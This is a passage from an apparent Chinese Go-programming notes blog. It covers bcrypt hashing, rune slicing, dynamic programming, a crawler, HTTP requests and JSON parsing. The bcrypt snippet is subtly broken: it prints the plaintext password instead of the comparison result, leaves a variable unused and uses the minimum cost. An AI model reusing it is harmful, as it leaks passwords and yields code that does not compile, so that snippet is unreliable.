&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 输出 1, 4, 9, 16, 25 预期结果</span></span><br></pre></td></tr></table></figure>
<h3 id="实现-PHP-的密码加密解密"><a href="#实现-PHP-的密码加密解密" class="headerlink" title="实现 PHP 的密码加密解密"></a>实现 PHP 的密码加密解密</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line">package main</span><br><span class="line">#https://www.njphper.com/posts/f3f0ab9c.html</span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">    <span class="string">"fmt"</span></span><br><span class="line">    <span class="string">"log"</span></span><br><span class="line">    <span class="string">"golang.org/x/crypto/bcrypt"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">func main() &#123;</span><br><span class="line">    <span class="keyword">for</span> &#123;</span><br><span class="line">       <span class="comment">// 输入密码 获取 hash 值</span></span><br><span class="line">        pwd := getPwd()</span><br><span class="line">        hash := hashAndSalt(pwd)</span><br><span class="line">       <span class="comment">// 再次输入密码验证</span></span><br><span class="line">        pwd2 := getPwd()</span><br><span class="line">        pwdMatch := comparePasswords(hash, pwd2)</span><br><span class="line">        fmt.Println(<span class="string">"Passwords Match?"</span>, pwd)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func getPwd() []byte &#123;</span><br><span class="line">    fmt.Println(<span class="string">"Enter a password"</span>)</span><br><span class="line">    <span class="keyword">var</span> pwd string</span><br><span class="line">    _, <span class="attr">err</span> := fmt.Scan(&amp;pwd)</span><br><span class="line">    <span class="keyword">if</span> err != nil &#123;</span><br><span class="line">        log.Println(err)</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> []byte(pwd)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">func hashAndSalt(pwd []byte) string &#123;</span><br><span class="line">    hash, <span class="attr">err</span> := bcrypt.GenerateFromPassword(pwd, bcrypt.MinCost)</span><br><span class="line">    <span class="keyword">if</span> err != nil &#123;</span><br><span class="line">        log.Println(err)</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> string(hash)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func comparePasswords(hashedPwd string, plainPwd []byte) bool &#123;</span><br><span class="line">    byteHash := []byte(hashedPwd)</span><br><span class="line"></span><br><span class="line">    err := bcrypt.CompareHashAndPassword(byteHash, plainPwd)</span><br><span class="line">    <span class="keyword">if</span> err != nil &#123;</span><br><span class="line">        log.Println(err)</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">true</span></span><br><span class="line">&#125;</span><br><span class="line">str := <span class="string">`&#123;"page": 1, "fruits": ["apple", "peach"]&#125;`</span></span><br><span class="line">实例化了一个 json 字符串，fruits 对应的是一个数组。</span><br><span class="line">在 Go 语言中，字符串字面量可以使用双引号 <span class="string">""</span> 或者反引号 <span class="string">' 来创建</span></span><br></pre></td></tr></table></figure>
<h3 id="截取中文"><a href="#截取中文" class="headerlink" title="截取中文"></a>截取中文</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">first := <span class="string">"fisrt"</span></span><br><span class="line">fmt.Println([]rune(first))</span><br><span class="line">fmt.Println([]byte(first))</span><br><span class="line">[]rune(s), 它可以将字符串转化成 unicode 码点</span><br><span class="line">byte 表示一个字节，rune 表示四个字节</span><br><span class="line">first := <span class="string">"社区"</span></span><br><span class="line">fmt.Println([]rune(first))</span><br><span class="line">fmt.Println([]byte(first))</span><br><span class="line">[<span class="number">31038</span> <span class="number">21306</span>] <span class="comment">//输出结果[]rune</span></span><br><span class="line">[<span class="number">231</span> <span class="number">164</span> <span class="number">190</span> <span class="number">229</span> <span class="number">140</span> <span class="number">186</span>]<span class="comment">//输出结果[]byte</span></span><br><span class="line">s := <span class="string">"截取中文"</span></span><br><span class="line"><span class="comment">//试试这样能不能截取?</span></span><br><span class="line">fmt.Println(s[:<span class="number">2</span>])</span><br><span class="line"></span><br><span class="line">s := <span class="string">"截取中文"</span></span><br><span class="line"><span class="comment">//试试这样能不能截取? https://www.njphper.com/posts/c251fcd3.html</span></span><br><span class="line">res := []rune(s)</span><br><span class="line">fmt.Println(string(res[:<span class="number">2</span>]))</span><br></pre></td></tr></table></figure>
<h3 id="动态规划"><a href="#动态规划" class="headerlink" title="动态规划"></a>动态规划</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">硬币问题：如果我们有面值为<span class="number">1</span>元、<span class="number">3</span>元和<span class="number">5</span>元的硬币若干枚，如何用最少的硬币凑够<span class="number">11</span>元？https:<span class="comment">//blog.mutoe.com/2019/dynamic-programming/</span></span><br><span class="line"><span class="comment">// CoinChange: coins 硬币, amount 期望的金额, 返回最少需要的硬币数量，如果不可解返回-1</span></span><br><span class="line">func CoinChange(coins []int, amount int) int &#123;</span><br><span class="line">  dp := make([]int, amount+<span class="number">1</span>)</span><br><span class="line">  dp[<span class="number">0</span>] = <span class="number">0</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> i := <span class="number">1</span>; i &lt;= amount; i++ &#123;</span><br><span class="line">    dp[i] = amount + <span class="number">1</span></span><br><span class="line">    <span class="keyword">for</span> _, <span class="attr">coin</span> := range coins &#123;</span><br><span class="line">      <span class="keyword">if</span> coin &lt;= i &amp;&amp; dp[i-coin] != <span class="number">-1</span> &amp;&amp; dp[i-coin]+<span class="number">1</span> &lt; dp[i] &#123;</span><br><span class="line">        dp[i] = dp[i-coin] + <span class="number">1</span></span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> dp[i] &gt; amount &#123;</span><br><span class="line">      dp[i] = <span class="number">-1</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> dp[amount]</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="go-php-对比学习"><a href="#go-php-对比学习" class="headerlink" title="go php 对比学习"></a>go php 对比学习</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line">https:<span class="comment">//learnku.com/golang/t/23385/from-a-php-engineers-point-of-view-go</span></span><br><span class="line"></span><br><span class="line">first, second = second, first</span><br><span class="line">func getName() (string, string) &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">"hello"</span>, <span class="string">"world"</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">first, last = getName()</span><br><span class="line"><span class="comment">// foreach ($bookings as $key =&gt; $booking) &#123;&#125;</span></span><br><span class="line"><span class="keyword">for</span> key, <span class="attr">booking</span> := range bookings &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// for ($i = 0; $i &lt; count($bookings); $i++) &#123;&#125;</span></span><br><span class="line"><span class="keyword">for</span> i := <span class="number">0</span>; i &lt; len(bookings); i++ &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// while ($i &lt; count($bookings)) &#123;&#125;</span></span><br><span class="line"><span class="keyword">for</span> i &lt; len(bookings) &#123;&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// do &#123;&#125; while (true);</span></span><br><span class="line"><span class="keyword">for</span> &#123;&#125;</span><br><span class="line">type rect struct &#123; <span class="comment">// 定义一个结构体</span></span><br><span class="line">    width  int</span><br><span class="line">    height int</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">func (r *rect) area() int &#123; <span class="comment">// 在结构体上添加方法</span></span><br><span class="line">    <span class="keyword">return</span> r.width * r.height</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">r := rect&#123;<span class="attr">width</span>: <span class="number">10</span>, <span class="attr">height</span>: <span class="number">15</span>&#125; <span class="comment">// 初始化</span></span><br><span class="line">fmt.Print(r.area())</span><br><span class="line">type Employee struct &#123;</span><br><span class="line">    Name string</span><br><span class="line">    Job  Job</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">type Job struct &#123;</span><br><span class="line">    Employer string</span><br><span class="line">    Position string</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 并去结构化它</span></span><br><span class="line">e := Employee&#123;</span><br><span class="line">    Name: <span class="string">"Sobit"</span>,</span><br><span class="line">    Job: &#123;</span><br><span class="line">        Employer: <span class="string">"GetYourGuide"</span>,</span><br><span class="line">        Position: <span class="string">"Software Engineer"</span>,</span><br><span class="line">    &#125;,</span><br><span class="line">&#125;func heartbeat() &#123;</span><br><span class="line">     <span class="keyword">for</span> &#123;</span><br><span class="line">         time.Sleep(time.Second)</span><br><span class="line">         fmt.Println(<span class="string">"I'm still running..."</span>)</span><br><span class="line">     &#125;</span><br><span class="line"> &#125;</span><br><span class="line"> 现在， 我们怎样才能让这个函数在后台执行并且允许我们并行的做其他事呢？ 答案比你想象中要简单， 只需要在执行函数前加一个 go :</span><br><span class="line"> </span><br><span class="line"> go heartbeat()</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 继续做其他事</span></span><br><span class="line"> Go 自带开箱即用关注代码风格的 go fmt 工具。 不再需要分享 IDE 的配置文件， 不用尝试记住大括号应该是在同一行还是再起一行。</span><br><span class="line"> </span><br><span class="line"> 可以使用 go doc 去阅读源码包文档， 而 go vet 将会协助我们查找代码中的问题。 安装第三方包只需要执行 go get [github.com/[vendor]/[package](http:<span class="comment">//github.com/[vendor]/[package)] 指令， 测试只需要执行 go test [package] 指令。</span></span><br></pre></td></tr></table></figure>
<h3 id="用Golang写爬虫"><a href="#用Golang写爬虫" class="headerlink" title="用Golang写爬虫"></a>用Golang写爬虫</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line">package main</span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">	<span class="string">"fmt"</span></span><br><span class="line">	<span class="string">"io/ioutil"</span></span><br><span class="line">	<span class="string">"net/http"</span></span><br><span class="line">)</span><br><span class="line">func main() &#123;</span><br><span class="line">	fmt.Println(<span class="string">"Hello, world"</span>)</span><br><span class="line">	url := <span class="string">"http://www.baidu.com/"</span></span><br><span class="line">	download(url)</span><br><span class="line">&#125;</span><br><span class="line">func download(url string) &#123;</span><br><span class="line">	client := &amp;http.Client&#123;&#125;</span><br><span class="line">	req, <span class="attr">_</span> := http.NewRequest(<span class="string">"GET"</span>, url, nil)</span><br><span class="line">	<span class="comment">// 自定义Header</span></span><br><span class="line">	req.Header.Set(<span class="string">"User-Agent"</span>, <span class="string">"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"</span>)</span><br><span class="line">	resp, <span class="attr">err</span> := client.Do(req)</span><br><span class="line">	<span class="keyword">if</span> err != nil &#123;</span><br><span class="line">		fmt.Println(<span class="string">"http get error"</span>, err)</span><br><span class="line">		<span class="keyword">return</span></span><br><span class="line">	&#125;</span><br><span class="line">	<span class="comment">//函数结束后关闭相关链接https://zhangslob.github.io/2019/01/16/Golang%E5%86%99%E7%88%AC%E8%99%AB/</span></span><br><span class="line">	defer resp.Body.Close()</span><br><span class="line">	body, <span class="attr">err</span> := ioutil.ReadAll(resp.Body)</span><br><span class="line">	<span class="keyword">if</span> err != nil &#123;</span><br><span class="line">		fmt.Println(<span class="string">"read error"</span>, err)</span><br><span class="line">		<span class="keyword">return</span></span><br><span class="line">	&#125;</span><br><span class="line">	fmt.Println(string(body))</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">package main</span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">	<span class="string">"fmt"</span></span><br><span class="line">	<span class="string">"github.com/jackdanger/collectlinks"</span></span><br><span class="line">	<span class="string">"net/http"</span></span><br><span class="line">)</span><br><span class="line">func main() &#123;</span><br><span class="line">	fmt.Println(<span class="string">"Hello, world"</span>)</span><br><span class="line">	url := <span class="string">"http://www.baidu.com/"</span></span><br><span class="line">	download(url)</span><br><span class="line">&#125;</span><br><span class="line">func download(url string) &#123;</span><br><span class="line">	client := &amp;http.Client&#123;&#125;</span><br><span class="line">	req, <span class="attr">_</span> := http.NewRequest(<span class="string">"GET"</span>, url, nil)</span><br><span class="line">	<span class="comment">// 自定义Header</span></span><br><span class="line">	req.Header.Set(<span class="string">"User-Agent"</span>, <span class="string">"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"</span>)</span><br><span class="line">	resp, <span class="attr">err</span> := client.Do(req)</span><br><span class="line">	<span class="keyword">if</span> err != nil &#123;</span><br><span class="line">		fmt.Println(<span class="string">"http get error"</span>, err)</span><br><span class="line">		<span class="keyword">return</span></span><br><span class="line">	&#125;</span><br><span class="line">	<span class="comment">//函数结束后关闭相关链接</span></span><br><span class="line">	defer resp.Body.Close()</span><br><span class="line">	links := collectlinks.All(resp.Body)</span><br><span class="line">	<span class="keyword">for</span> _, <span class="attr">link</span> := range links &#123;</span><br><span class="line">		fmt.Println(<span class="string">"parse url"</span>, link)</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="go-实现一个简单的-mvc"><a href="#go-实现一个简单的-mvc" class="headerlink" title="go 实现一个简单的 mvc"></a>go 实现一个简单的 mvc</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">git clone https:<span class="comment">//github.com/jc91715/go-simple-mvc</span></span><br><span class="line">go get github.com/astaxie/beego</span><br><span class="line">go get github.com/go-sql-driver/mysql</span><br><span class="line"></span><br><span class="line">go run main.go</span><br><span class="line">https:<span class="comment">//learnku.com/articles/29546</span></span><br></pre></td></tr></table></figure>
<h3 id="时间戳操作大全"><a href="#时间戳操作大全" class="headerlink" title="时间戳操作大全"></a>时间戳操作大全</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">dateTime := time.Now()</span><br><span class="line">fmt.Println(dateTime)</span><br><span class="line">year := time.Now().Year() <span class="comment">//年</span></span><br><span class="line"></span><br><span class="line">fmt.Println(year)</span><br><span class="line"></span><br><span class="line">month := time.Now().Month() <span class="comment">//月</span></span><br><span class="line">fmt.Println(month)</span><br><span class="line"></span><br><span class="line">fmt.Println(time.Now().Format(<span class="string">"2006-01-02 15:04:05"</span>))</span><br><span class="line">t := time.Date(<span class="number">2014</span>, <span class="number">1</span>, <span class="number">7</span>, <span class="number">5</span>, <span class="number">50</span>, <span class="number">4</span>, <span class="number">0</span>, time.Local).Unix()</span><br><span class="line">https:<span class="comment">//learnku.com/golang/t/30925</span></span><br></pre></td></tr></table></figure>
<h3 id="request"><a href="#request" class="headerlink" title="request"></a>request</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line">package http</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">    <span class="string">"fmt"</span></span><br><span class="line"></span><br><span class="line">    <span class="string">"github.com/imroc/req"</span></span><br><span class="line">    logger <span class="string">"xxx"</span> <span class="comment">//logger日志封装</span></span><br><span class="line">    util <span class="string">"xxxx/sdk-utils"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">type method string</span><br><span class="line"></span><br><span class="line"><span class="keyword">const</span> (</span><br><span class="line">    GET    method = <span class="string">"GET"</span></span><br><span class="line">    POST   method = <span class="string">"POST"</span></span><br><span class="line">    PUT    method = <span class="string">"PUT"</span></span><br><span class="line">    PATCH  method = <span class="string">"PATCH"</span></span><br><span class="line">    DELETE method = <span class="string">"DELETE"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">type Response struct &#123;</span><br><span class="line">    Data []byte</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//反序列化操作</span></span><br><span class="line">func (r *Response) Deserialize(object interface&#123;&#125;) (err error) &#123;</span><br><span class="line">    err = util.JSONUnmarshal(r.Data, object)</span><br><span class="line">    <span class="keyword">return</span> err</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//支持所有类型请求.</span></span><br><span class="line">func Request(method method, url string, v ...interface&#123;&#125;) (response *Response, err error) &#123;</span><br><span class="line">    <span class="keyword">var</span> r *req.Resp</span><br><span class="line">    response = <span class="keyword">new</span>(Response)</span><br><span class="line">    <span class="keyword">switch</span> method &#123;</span><br><span class="line">    <span class="keyword">case</span> <span class="string">"GET"</span>:</span><br><span class="line">        r, err = req.Get(url, v...)</span><br><span class="line">    <span class="keyword">case</span> <span class="string">"POST"</span>:</span><br><span class="line">        r, err = req.Post(url, v...)</span><br><span class="line">    <span class="keyword">case</span> <span class="string">"PUT"</span>:</span><br><span class="line">        r, err = req.Put(url, v...)</span><br><span class="line">    <span class="keyword">case</span> <span class="string">"PATCH"</span>:</span><br><span class="line">        r, err = req.Patch(url, v...)</span><br><span class="line">    <span class="keyword">case</span> <span class="string">"DELETE"</span>:</span><br><span class="line">        r, err = req.Delete(url, v...)</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> err != nil &#123;</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    statusCode := r.Response().StatusCode</span><br><span class="line">    <span class="keyword">if</span> statusCode != <span class="number">200</span> &#123;</span><br><span class="line">        err = fmt.Errorf(<span class="string">"http cilent code err: %d"</span>, statusCode)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    response.Data = r.Bytes()</span><br><span class="line">    <span class="keyword">return</span></span><br><span class="line">&#125;</span><br><span class="line">https:<span class="comment">//learnku.com/articles/30935</span></span><br></pre></td></tr></table></figure>
<h3 id="golang代理"><a href="#golang代理" class="headerlink" title="golang代理"></a>golang代理</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> GO111MODULE=on</span><br><span class="line"><span class="keyword">export</span> GOPROXY=https:<span class="comment">//goproxy.io</span></span><br></pre></td></tr></table></figure>
<h3 id="递归打印杨辉三角"><a href="#递归打印杨辉三角" class="headerlink" title="递归打印杨辉三角"></a>递归打印杨辉三角</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">package main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> <span class="string">"fmt"</span></span><br><span class="line"></span><br><span class="line">func main() &#123;</span><br><span class="line">    YangHuiTriangle(<span class="number">10</span>)</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//https://learnku.com/articles/31290</span></span><br><span class="line">func YangHuiTriangle(n int) []int &#123;</span><br><span class="line">    i := n - <span class="number">1</span></span><br><span class="line">    line := make([]int, n)</span><br><span class="line">    <span class="keyword">if</span> i &lt;= <span class="number">0</span> &#123;</span><br><span class="line">        line = []int&#123;<span class="number">1</span>&#125;</span><br><span class="line">        fmt.Println(line)</span><br><span class="line">        <span class="keyword">return</span> line</span><br><span class="line">    &#125;</span><br><span class="line">    down := YangHuiTriangle(i)</span><br><span class="line">    <span class="keyword">for</span> x := <span class="number">0</span>; x &lt; n; x++ &#123;</span><br><span class="line">        <span class="keyword">if</span> x == <span class="number">0</span> &#123;</span><br><span class="line">            line[<span class="number">0</span>] = <span class="number">1</span></span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> x == n<span class="number">-1</span> &#123;</span><br><span class="line">            line[x] = <span class="number">1</span></span><br><span class="line">            <span class="keyword">continue</span></span><br><span class="line">        &#125;</span><br><span class="line">        line[x] = down[x<span class="number">-1</span>] + down[x]</span><br><span class="line">    &#125;</span><br><span class="line">    fmt.Println(line)</span><br><span class="line">    <span class="keyword">return</span> line</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="JSON-解析"><a href="#JSON-解析" class="headerlink" title="JSON 解析"></a>JSON 解析</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line">package main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">    <span class="string">"fmt"</span></span><br><span class="line">    <span class="string">"encoding/json"</span></span><br><span class="line">    <span class="string">"time"</span></span><br><span class="line"></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">func main() &#123;</span><br><span class="line">    type Fruit struct &#123;</span><br><span class="line">        Name string <span class="string">`json:"Name"`</span></span><br><span class="line">        PriceTag string <span class="string">`json:"PriceTag"`</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    type FruitBasket struct &#123;</span><br><span class="line">        Name    string </span><br><span class="line">        Fruit   map[string]Fruit</span><br><span class="line">        Id      int64 <span class="string">`json:"ref"`</span><span class="comment">// 声明对应的json key</span></span><br><span class="line">        Created time.Time</span><br><span class="line"></span><br><span class="line">    &#125;    </span><br><span class="line">    jsonData := []byte(<span class="string">`</span></span><br><span class="line"><span class="string">    &#123;</span></span><br><span class="line"><span class="string">        "Name": "Standard",</span></span><br><span class="line"><span class="string">        "Fruit" : &#123;</span></span><br><span class="line"><span class="string">        "1": &#123;</span></span><br><span class="line"><span class="string">        "Name": "Apple",</span></span><br><span class="line"><span class="string">        "PriceTag": "$1"</span></span><br><span class="line"><span class="string">        &#125;,</span></span><br><span class="line"><span class="string">        "2": &#123;</span></span><br><span class="line"><span class="string">        "Name": "Pear",</span></span><br><span class="line"><span class="string">        "PriceTag": "$1.5"</span></span><br><span class="line"><span class="string">        &#125;</span></span><br><span 